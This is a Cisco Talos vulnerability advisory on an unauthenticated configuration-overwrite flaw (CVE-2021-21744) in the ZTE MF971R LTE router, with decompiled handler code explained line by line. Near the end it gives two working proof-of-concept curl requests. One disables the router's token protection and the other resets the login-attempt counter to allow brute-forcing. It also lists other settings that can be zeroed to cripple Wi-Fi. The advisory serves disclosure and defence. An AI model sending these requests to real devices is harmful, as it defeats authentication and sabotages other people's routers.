Talos Vulnerability Report

TALOS-2021-1316

ZTE MF971R goform_get_cmd_process Config Control External config control vulnerability

October 18, 2021
CVE Number

CVE-2021-21744

Summary

An exploitable Pre-Auth Configuration File Control vulnerability exists in ZTE MF971R LTE router version wa_inner_version:BD_PLKPLMF971R1V1.0.0B06. A specially-crafted HTTP request can cause a configuration file entry overwrite. An attacker needs to provide a URL to the victim to trigger the vulnerability.

Tested Versions

ZTE Corporation MF971R wa_inner_version:BD_LVWRGBMF971RV1.0.0B01
ZTE Corporation MF971R wa_inner_version:BD_PLKPLMF971R1V1.0.0B06
ZTE Corporation MF971R zte_topsw_goahead - MD5 B2176B393A97B5BA13791FC591D2BE3F
ZTE Corporation MF971R zte_topsw_goahead - MD5 bf5ada32c9e8c815bfd51bfb5b8391cb

Product URLs

https://www.ztedevices.com/pl/product/zte-mf971r/

CVSSv3 Score

5.4 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

CWE

CWE-15 - External Control of System or Configuration Setting

Details

MF971R is a portable router with Wi-Fi support and LTE/GSM modem.

This vulnerability is present in goform_get_cmd_process API-related code, which is a part of the ZTE MF971R web applications. A specially-crafted URL sent by an attacker and visited by a victim can lead to arbitrary configuration file entry overwrite with a null byte.

Depending on the cmd parameter being send to the goform_get_cmd_process API endpoint, different actions are performed. An interesting scenario takes place if the value sent via the cmd parameter does not represent any of the existing API or pre-defined config entry names. Let’s take a glance at the vulnerable code path:

Line 1 	int __fastcall handler_goform_get_cmd_process(websRec *web, int a2, int a3)
Line 2 	{
Line 3 		(...)
Line 4 		  if ( (!strcmp("ok", loggedin_flag) || cmd_exists == 1) && !referer_check_or_common_cmd(web, cmd) )
Line 5 		  {
Line 6 			index = (unsigned __int8)*multi_data;
Line 7 			if ( *multi_data )
Line 8 			{
Line 9 			  sub_20C54(web, (unsigned __int8 *)cmd);
Line 10			}
Line 11			else
Line 12			{
Line 13			  do
Line 14			  {
Line 15				if ( !strcmp(&g_another_commands[68 * index], cmd) )
Line 16				{
Line 17				  (*(void (__fastcall **)(websRec *))&g_another_commands[68 * index + 64])(web);
Line 18				  return wbsReturnStatus(web, 200);
Line 19				}
Line 20				++index;
Line 21			  }
Line 22			  while ( index != 49 );
Line 23			  if ( sub_52F00((int)web, a2, a3, cmd) == -1 )
Line 24				sub_1F3C4(web, cmd);
Line 25			}
Line 26		  }
Line 27		  else if ( *multi_data )
Line 28		  {
Line 29			multi_data_handler(web, cmd);
Line 30		  }

As we can see at line 4 there are few checks. Among them are “whether user is logged-in” and whether cmd is set to API/config entry, which exist on a pre-defined list. If both of the mentioned conditions are not met, we land at line 27. Here, to pass this condition, an attacker needs to pass multi_data parameter in a GET request and then the multi_data_handler function is executed.

Line 1 	char *__fastcall multi_data_handler(websRec *wp, const char *cmd)
Line 2 	{
Line 3 	  int param_flag; // r9
Line 4 	  int v6; // r6
Line 5 	  const char *_cmd; // r8
Line 6 	  int v8; // r7
Line 7 	  int v9; // t1
Line 8 	  int index; // r7
Line 9 
Line 10	  param_flag = sub_1B8E0(wp);
Line 11	  writeHeaders(wp);
Line 12	  if ( cmd && *cmd )
Line 13	  {
Line 14		v6 = 0;
Line 15		_cmd = cmd;
Line 16		writeSomeXML(wp);
Line 17		while ( 1 )
Line 18		{
Line 19		  v9 = *(unsigned __int8 *)_cmd++;
Line 20		  v8 = v9;
Line 21		  if ( !v9 )
Line 22			break;
Line 23		  if ( v8 == ',' )
Line 24		  {
Line 25			*((_BYTE *)_cmd - 1) = 0;
Line 26			index = 0;
Line 27			while ( strcmp(&g_commands_clone[index], cmd) )// 86 entries
Line 28			{
Line 29			  index += 64;
Line 30			  if ( index == 5504 )
Line 31			  {
Line 32				if ( v6 != 1 )
Line 33				  goto write_empty;
Line 34				break;
Line 35			  }
Line 36			}
Line 37			v6 = referer_check_or_common_cmd(wp, cmd);
Line 38			if ( !v6 )
Line 39			{
Line 40			  read_config(wp, cmd);
Line 41			  goto LABEL_17;
Line 42			}
Line 43			v6 = 1;
Line 44	write_empty:
Line 45			writeJSON(wp, cmd, &g_default_value, 0);
Line 46	LABEL_17:
Line 47			config_update(wp, (char *)cmd);
Line 48			if ( (param_flag & 0x200000) == 0 )
Line 49			  websWrite((int)wp, ",");
Line 50			cmd = _cmd;
Line 51		  }
Line 52		}
Line 53		do
Line 54		{
Line 55		  if ( !strcmp(&g_commands_clone[v8], cmd) )
Line 56			goto LABEL_23;
Line 57		  v8 += 64;
Line 58		}
Line 59		while ( v8 != 5504 );
Line 60		if ( v6 == 1 )
Line 61		{
Line 62	LABEL_23:
Line 63		  read_config(wp, cmd);
Line 64		  goto LABEL_25;
Line 65		}
Line 66		writeJSON(wp, cmd, &g_default_value, 0);
Line 67	LABEL_25:
Line 68		config_update(wp, (char *)cmd);
Line 69	  }
Line 70	  else
Line 71	  {
Line 72		zte_syslog_append(6, (int)"zte_web/zte_web_get_fw_para.c", 412, 0, "cmd is null or empty.", 0, 0, 0);
Line 73		if ( (param_flag & 0x200000) == 0 )
Line 74		  return websWrite((int)wp, &g_default_value);
Line 75		writeSomeXML(wp);
Line 76		writeJSON(wp, "empty", &g_default_value, 0);
Line 77	  }
Line 78	  return sub_4873C(wp);
Line 79	}

Inside this function, we are interested in one scenario: When the value sent via the cmd parameter does not exist in g_commands_clone array, and it’s just one parameter not split with “,” (the original purpose of this method is to accept multiple commands split via “,”). In that case, the lines 66-68 and config_update function is executed.

Line 1 	int __fastcall config_update(websRec *wp, char *nv_name)
Line 2 	{
Line 3 	  int result; // r0
Line 4 	  const char *param_value; // r0
Line 5 	  int v6; // r0
Line 6 	  char nv_name_with_flag[60]; // [sp+14h] [bp-8Ch] BYREF
Line 7 	  char out_buffer[80]; // [sp+50h] [bp-50h] BYREF
Line 8 
Line 9 	  memset(nv_name_with_flag, 0, sizeof(nv_name_with_flag));
Line 10	  memset(out_buffer, 0, 0x40u);
Line 11	  if ( !wp )
Line 12		return zte_syslog_append(6, (int)"zte_web/zte_web_get_fw_para.c", 310, 0, "wp is null.\n", 0, 0, 0);
Line 13	  if ( !nv_name || !*nv_name )
Line 14		return zte_syslog_append(6, (int)"zte_web/zte_web_get_fw_para.c", 315, 0, "nv_name is null or empty.", 0, 0, 0);
Line 15	  strncpy(nv_name_with_flag, nv_name, 50u);
Line 16	  strcat(nv_name_with_flag, "_flag");
Line 17	  param_value = (const char *)get_value_of_param(wp, nv_name_with_flag, (int)&g_default_value);
Line 18	  result = strcmp(param_value, "0");
Line 19	  if ( !result )
Line 20	  {
Line 21		result = zte_nvconfig_read(nv_name, out_buffer, 64);
Line 22		if ( out_buffer[0] )
Line 23		{
Line 24		  v6 = zte_nvconfig_write(nv_name, &g_default_value, 0);
Line 25		  result = zte_nvconfig_save(v6);
Line 26		}
Line 27	  }
Line 28	  return result;
Line 29	}

To the value sent via the cmd parameter, the “_flag” suffix is added at line 16. At line 18-19, a check is performed to make sure that the passed value for that parameter is equal to “0” . If so, the value specified in cmd is treated as a config entry name and there is an attempt to read its value at line 21. If value is not empty (line 22), its value is updated with binary 0 at line 24 and saved at line 25.

This can be triggered by an unauthenticated user, and there are many imporant configuration values that can be overwritten.

For example, below are a couple of particularly interesting things that an attacker can trigger by writing binary 0 to various config entries. However, there are many others.

- `web_is_support_token`: turn off mitigations related to needing to pass and calculate AD parameter hashes necessary to execute certain actions. Requires a reboot after the config is overwritten.
-` last_login_time` : there are a maximum of 4 login attempts allowed in a short time window. If the user exceeds that number, they need to wait 5 minutes to try again. By overwritting the last_login_time config entry, an attacker can instantly reset the number of attempts to 0 and continue brute-forcing.
- `MAX_Access_num`:	limits the  max number of connected devices to wi-fi to 1.
- `RadioOff`: this completely removes any section related with wi-fi configuration from the web panel 

Exploit Proof of Concept

Turn off web_is_support_token curl -i “http://192.168.2.1/goform/goform_get_cmd_process?cmd=web_is_support_token&multi_data=1&web_is_support_token_flag=0”

Allow login brute force : curl -i “http://192.168.2.1/goform/goform_get_cmd_process?cmd=last_login_time&multi_data=1&last_login_time_flag=0”

Timeline

2021-06-15 - Vendor disclosure
2021-09-14 - Disclosure extension granted

2021-10-15 - Vendor patched
2021-10-18 - Public release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.